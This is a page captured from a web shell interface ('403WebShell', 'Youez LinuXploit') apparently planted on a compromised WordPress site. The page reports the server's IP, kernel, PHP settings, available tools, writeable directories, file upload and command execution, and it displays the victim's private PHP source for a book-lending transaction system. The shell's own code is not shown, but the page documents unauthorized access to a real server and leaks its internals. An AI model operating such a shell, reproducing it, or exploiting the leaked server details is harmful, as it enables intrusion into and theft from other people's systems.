Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_books/core/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_books/core/models/transaction_model.php
<?php

class Transaction_Model extends Model {

	function __construct() {
		global $DATABASE;
		parent::__construct();
		if (!is_object($DATABASE->db)) $DATABASE->Open();
	}

	// create new transaction; return transaction number
	public function begin_transaction($member, $fn = '', $type = '0') {		// type '0' = incomplete
		global $DATABASE;
		$DATA = array('__table' => 'dt_tranh', '__existing' => 0);
		$DATA['bh_terminal'] = $_SERVER['REMOTE_ADDR'];
		$DATA['bh_member'] = $member;
		$DATA['bh_datetime'] = gmdate('Y-m-d H:i:s');
		$DATA['bh_type'] = $type;			// incomplete
		$DATA['bh_scanned'] = $fn === 'barcode' ? 1 : 0;		// THIS IS NOT WORKING
		$DATABASE->SaveRecord($DATA, 'bh_id');
		DbErr($DATABASE);
		$tranid = $DATA['bh_id'];
		return $tranid;
	}

	function ReadHeader($tranid) {
		global $DATABASE;
		$this->header = $DATABASE->Lookup('select * from dt_tranh where bh_id=%d', $tranid, 'dt_tranh');
		DbErr($DATABASE);
	}
	
	function ReadTransaction($tranid, $dt_id = 0, $callback = NULL) {
		global $DATABASE;
		$sql = <<<BLOCK
select a1.ba_name as ba_name1,a2.ba_name as ba_name2,bt_id,bt_title,ds_cost,ds_wear,
dt_purchase,ds_barcode,bt_dim
  from dt_trant
  left outer join dt_stock on dt_stockcode=ds_barcode
  left outer join dt_title on ds_title=bt_id
  left outer join dt_author as a1 on a1.ba_id=bt_author1
  left outer join dt_author as a2 on a2.ba_id=bt_author2
BLOCK;
		if ($dt_id) {
			$sql .= " where dt_id=%d";
			$val = $dt_id;
		} else {
			$sql .= " where dt_tran=%d";
			$val = $tranid;
		}
		if ($callback == NULL) $callback = array($this, '__readtran');
		$data = $DATABASE->Query($sql, $val, $callback, array());
		DbErr($DATABASE);
		return $data;
	}

	function  __readtran(&$ITEM, &$param) {
		$title = ip_AsTitle($ITEM);
		$dtitle = addslashes($title);
		$cost = ip_ItemCost($ITEM);
		$id = $ITEM['bt_id'];
		$purchase = intval($ITEM['dt_purchase']);
		$dim = isset($ITEM['bt_dim']) ? $ITEM['bt_dim'] : '';
		if ($dim != '') {
			$dim = unserialize($dim);
			$ht = $dim['ht']; $wd = $dim['wd'];
		} else {
			$wd = $ht = 0;
		}
		$param[] = array('title' => $title, 'cost' => $cost, 'id' => $id, 'wd' => $wd, 'ht' => $ht, 'purchase' => $purchase);
	}
	
	public function ApplyBarcode(&$result, &$transaction, $barcode, $barcode_info, $iscash) {
		$transid = $transaction['transid'];
		switch($barcode_info['db_type']) {
			case 's':		// stock
				$transaction['detail'] = $this->processTransaction($transid, $barcode, $iscash);
				break;
			case BARCODE_PURCHASE:
				$this->PurchaseLastItem($transid);
				$transaction['detail'] = $this->ReadTransaction($transid);
				break;
			case BARCODE_DONE:
				$result['redirect'] = '/terminal/payment/' . $transid;
				break;
			case BARCODE_CANCEL:
				$result['redirect'] = '/terminal/cancel-transaction?tid=' . $transid;
				break;
		}
	}

	public function processTransaction($tranid, $barcode, $iscash) {
		global $DATABASE;
		$sql = 'select * from dt_trant where dt_tran=%d and dt_stockcode=%s';
		$DATA = $DATABASE->Lookup($sql, array($tranid, $barcode));
		DbErr($DATABASE);
		if ($DATA['__existing']) {
			$sql = "delete from dt_trant where dt_tran=%d and dt_stockcode=%s";
			$DATABASE->Query($sql, array($tranid, $barcode), '', 0);
			return "document.location.href=\"/terminal/transaction/$tranid\";\n";
		}
		$dt_id = $this->CreateTransaction($tranid, $barcode, $iscash); // Add the book to the current transaction
		return $this->ReadTransaction($tranid);

	}
	
	function CreateTransaction($tranid, $bcode, $iscash = 0) {
		global $DATABASE;
		
		$data = array('__table' => 'dt_trant', '__existing' => 0);
		$data['dt_tran'] = $tranid;
		$data['dt_timestamp'] = gmdate('Y-m-d H:i:s');
		$data['dt_stockcode'] = $bcode;
		$data['dt_returned'] = '0';
		if ($iscash === TRUE) $iscash = 1;
		if ($iscash) $data['dt_purchase'] = $iscash;
		$DATABASE->SaveRecord($data, 'dt_id');
		DBerr($DATABASE);
		return $data['dt_id'];
	}
	
	public function PurchaseLastItem($tranid) {
		global $DATABASE;
		$sql = 'select dt_id,dt_purchase from dt_trant where dt_tran=%d order by dt_timestamp desc';
		$DATA = $DATABASE->Lookup($sql, $tranid);
		if ($DATA['__existing']) {
			$purchase = $DATA['dt_purchase'] ? 1 : 0;
			$sql = "update dt_trant set dt_purchase=%d where dt_id=%d";
			$DATABASE->Query($sql, array(1 - $purchase, $DATA['dt_id']), '', 0);
			DBerr($DATABASE);
		}
	}

	function __showcart(&$ITEM, &$param) {
		if (is_array($param)) $param = '';
		$purchase = intval($ITEM['dt_purchase']);
		if ($purchase) {
			$title = htmlspecialchars(ip_AsTitle($ITEM));
			$cost = ip_ItemCost($ITEM);
			
			$line = "<tr><td>$title</td></tr>\n".
					"<tr><td align=\"right\">$cost</td></tr>\n";
			$param .= $line;
			$this->invoice_total += $cost;
		}
}

	public function ShowCart(&$DATA, $tranid) {
		global $VARIABLE, $PAYMET;
		$this->invoice_total = 0;
		$cart = $this->ReadTransaction($tranid, 0, array($this, '__showcart'));
		$VARIABLE['TOTAL'] = sprintf('%01.2f', $this->invoice_total);

		$paymet = isset($DATA['bh_paymet']) ? $DATA['bh_paymet'] : '';
		if ($paymet != '') {
	// display the details
			$pt = _cwfp_WithoutAccess($PAYMET[$paymet]);
			$ten = sprintf('%01.2f', $DATA['bh_tendered']);
			$pay = "<tr><td align=\"right\">$pt: &nbsp; <b>\$$ten</b></td></tr>";
			if (abs($DATA['bh_donated']) > 0.02) {
				$donate = sprintf('%01.2f', $DATA['bh_donated']);
				$pay .= "<tr><td align=\"right\">Donation: &nbsp; <b>\$$donate</b></td></tr>";
			}
			$chg = sprintf('%01.2f', $DATA['bh_tendered'] - $DATA['bh_paid'] - $DATA['bh_donated']);
			$pay .= "<tr><td align=\"right\">Change: &nbsp; <b>\$$chg</b></td></tr>";
		} else {
			$pay = '';
		}
		
		return <<<BLOCK
	<h4>&nbsp; Your Cart &nbsp;</h4>
	<br>
	<table border="0" width="100%">
	$cart
	<tr><td><hr></td></tr>
	<tr><td align="right">Total: &nbsp; <b>\${$VARIABLE['TOTAL']}</b></td></tr>
	$pay
	</table>
	<br>

BLOCK;

	}
	
	public function SetPaymentDefaults($tid) {
		global $VARIABLE;
		$this->ReadHeader($tid);
		if (!empty($this->header['__existing'])) {
			if ($this->header['bh_donated']) $VARIABLE['donate'] = $this->header['bh_donated'];
			if ($this->header['bh_tendered']) $VARIABLE['amt'] = $this->header['bh_tendered'];
			$VARIABLE['chg'] = sprintf('%01.2f', $VARIABLE['amt'] - $VARIABLE['TOTAL'] - $VARIABLE['donate']);
		}
		if (empty($VARIABLE['pt'])) $VARIABLE['pt'] = '1';		// default to cash
	}
	
	public function SavePaymentDetails($tid, $info) {
		global $DATABASE;
		$this->ReadHeader($tid);
		$this->header['bh_paymet'] = $info['pt'];
		$this->header['bh_tendered'] = floatval($info['amt']);
		$this->header['bh_donated'] = floatval($info['donate']);
		$this->header['bh_paid'] = $this->header['bh_tendered'] - floatval($info['chg']) - $this->header['bh_donated'];
		$DATABASE->SaveRecord($this->header);
		DbErr($DATABASE);
	}

	public function UpdateLoanDetails($tid, $update = 0) {
		global $DATABASE;
		// update details for each item  -- return date for borrowed books; date out for purchased
		$this->x_transid = $tid;
		$this->loancount = 0;
		$this->purchasecount = 0;
		$this->x_update = $update;
		$this->invoicetotal = 0;
		$sql = <<<BLOCK
select dt_stockcode,dt_purchase,ds_cost,ds_wear from dt_trant 
  inner join dt_stock on dt_stockcode=ds_barcode
  where dt_tran=%d
BLOCK;
		$DATABASE->Query($sql, $tid,
							array($this, '__checkout'), 0);
		DBerr($DATABASE);
		if ($update) {
			$returndate = time() + 86400 * LOAN_DURATION;
			$this->header['bh_return'] = date('Y-m-d', $returndate);
			$this->header['bh_type'] = 'B';
			$this->header['bh_total'] = $this->invoicetotal;
			$DATABASE->SaveRecord($this->header);
		}
	}
	
	function __checkout(&$ITEM, &$param) {
		global $DATABASE;
		$purchase = intval($ITEM['dt_purchase']);
		$barcode = $ITEM['dt_stockcode'];
		$DATA = $DATABASE->Lookup('select * from dt_stock where ds_barcode=%s', $barcode, 'dt_stock');
		$DATA['ds_member'] = $this->header['bh_member'];
		$DATA['ds_invoice'] = $this->x_transid;
		$DATA['ds_stocktake'] = date('Y-m-d');		// this is the last date/time we physically saw the item
		if ($purchase) {
			$DATA['ds_out'] = date('Y-m-d');
			$this->purchasecount++;
			$cost = ip_ItemCost($ITEM);
			$this->invoicetotal += $cost;
		} else {
			if ($param['update']) {
				$DATA['ds_wear'] = intval($DATA['ds_wear']) + 1;
			}
			$this->loancount++;
		}
		if ($this->x_update) {
			$DATABASE->SaveRecord($DATA);
			DBerr($DATABASE);
// if anyone else has that same item checked out, mark it as being returned
// this includes any previous purchase
			$sql = 'update dt_trant set dt_returned=1 where dt_returned=0 and dt_stockcode=%s and dt_tran<>%d';
	//		$DATABASE->Query($sql, array($barcode, $this->x_transid), '', 0);
			DBerr($DATABASE);
		}
		
		return 0;
	}

	public function writeoff($barcode) {
		global $DATABASE;
		$dt = date('Y-m-d');
		$sql = "update dt_stock set ds_out=%s,ds_member=-1 where ds_barcode=%s";
		$DATABASE->Query($sql, array($dt, $barcode), '', 0);

		$tid = $this->begin_transaction(-1, 'barcode', 'X');	// writeoff
		$this->CreateTransaction($tid, $barcode, 2);
	}
	
	function GetLastTransactionDate(&$ITEM) {
		global $DATABASE;
		$barcode = $ITEM['ds_barcode'];

	// Look for the last transaction, and return the date/time of that	
		$sql = <<<BLOCK
select * 
  from dt_trant
  left outer join dt_tranh on dt_tran=bh_id
  where dt_stockcode=%s
  order by dt_timestamp desc
BLOCK;
		$data = $DATABASE->Lookup($sql, $barcode);
		DBErr($DATABASE);
		if ($data['__existing']) {
			return strtotime($data['bh_datetime'] . 'Z');
		}
	// otherwise, try the last stocktake
		$date = strtotime($ITEM['ds_stocktake'] . 'Z');
		if ($date > mktime(0, 0, 0, 1, 1, 2001)) return $date;

	// finally, if that is missing, use the date_in
		return strtotime($ITEM['ds_in'] . 'Z');
	}


// paid == false: sold, no payment expected	
	public function sell($barcode, $paid = 0) {
		global $DATABASE;
// get the sale price, and the date of the last transaction
		$ITEM = $DATABASE->Lookup("select * from dt_stock where ds_barcode=%s", $dbarcode, 'dt_stock');
		DBErr($DATABASE);
		$cost = ip_ItemCost($ITEM);
		$date = $this->GetLastTransactionDate($ITEM);

	// Create the Header record
		$DATA = array('__table' => 'dt_tranh', '__existing' => 0);		// Taken from scanbooks.php
		$DATA['bh_terminal'] = $_SERVER['REMOTE_ADDR'];
		$DATA['bh_member'] = -2;		// Cash Sale
		$DATA['bh_datetime'] = gmdate('Y-m-d H:i:s', $date);
		$DATA['bh_type'] = 'B';			// mark it as a completed sale
		$DATA['bh_total'] = $cost;
		if ($paid) {
			$DATA['bh_tendered'] = $cost;
			$DATA['bh_paid'] = $cost;
			$DATA['bh_donated'] = 0;
		} else {
			$DATA['bh_tendered'] = 0;
			$DATA['bh_paid'] = 0;
			$DATA['bh_donated'] = - $cost;
		}
		$DATA['bh_scanned'] = 0;
		$DATABASE->SaveRecord($DATA, 'bh_id');
		DBErr($DATABASE);
		$tranid = $DATA['bh_id'];

// Update the date_out for that stock item
		$dt = date('Y-m-d H:i:s', $date);
		$sql = 'update dt_stock set ds_out=%s,ds_member=-2,ds_invoice=%d where ds_barcode=%s';
		$DATABASE->Query($sql, array($dt, $tranid, $barcode), '', 0);

// Add the book
		$dt_id = $this->CreateTransaction($tranid, $barcode, 1);
		$sql = 'update dt_trant set dt_returned=1 where dt_returned=0 and dt_stockcode=%s and dt_tran<>%d';
		$DATABASE->Query($sql, array($barcode, $tranid), '', 0);
		DBErr($DATABASE);
	}
	
	public function LoadTransaction($transid) {
		$this->ReadHeader($transid);
		$additional = $this->ReadTransaction($transid);
		return array(	'transid'=> $transid,
						'member' => $this->header['bh_member'],
						'header' => $this->header,
						'detail' => $additional);
	}
	
	public function TransactionListAsHandlebars($transaction) {
		$data = array();
		$total = 0;
		if (isset($transaction['detail']) && is_array($transaction['detail'])) {
			foreach($transaction['detail'] as $index => $detail_item) {
				$class = 'r' . ($index % 2);
				if ($detail_item['purchase']) {
					$class .= ' buy';
					$total += $detail_item['cost'];
				}
				$data[] = array(	'title' => $detail_item['title'],
									'price' => $detail_item['cost'],
									'class' => $class);
			}
		}
		return array(
					array(	'template' => 'hb_tranlist',
						'data' => array('item' => $data)),
					sprintf('%01.2f', $total)
				);
	}
	
	public function Webform_payment($isCash) {
		global $PAYMET;
		$list = array();
		foreach($PAYMET as $key => $value) {
			$list[$key] = _cwfp_WithoutAccess($value);
		}
		if ($isCash) unset($list[4]);

		$webform = new webform('');
		$f = $webform->addField_List('pt', '&Payment Method', 1);
		$f->SetList($list);
		$f = $webform->addField_DisplayOnly('TOTAL', 'Invoice Total');
		$f = $webform->addField_Text('amt', 'Amount &Tendered', 1);
		$f->OnBlur = 'updatechg()';
		$f->SetWidth(50);
		$f = $webform->addField_Text('donate', 'Donation', 0);
		$f->OnBlur = 'updatechg()';
		$f->SetWidth(50);
		$f = $webform->addField_Text('chg', 'Cha&nge', 0);
		$f->SetWidth(50);
		$webform->addField_Hidden('tid');
		$webform->addField_Hidden('subtotal');
		$webform->AddSubmit('s', '  continue  ');
		return $webform;
	}
	
	public function StockAsHTML($barcode_info) {
		$dim = unserialize($barcode_info['bt_dim']);
		if ($dim['wd'] > 0 && $dim['ht'] > 0) {
			$img = '<img src="/image/thumbnail/' . $barcode_info['ds_title'] . '">';
		} else {
			$img = '';
		}
		
		return array('template' => 'hb_scanitem',
					 'data' => array(
							'title' =>	$barcode_info['bt_title'],
							'price' =>  $barcode_info['sell'],
							'debug' => $barcode_info,
							'img' => $img
							)
					);
	}
	
}


Youez - 2016 - github.com/yon3zu
LinuXploit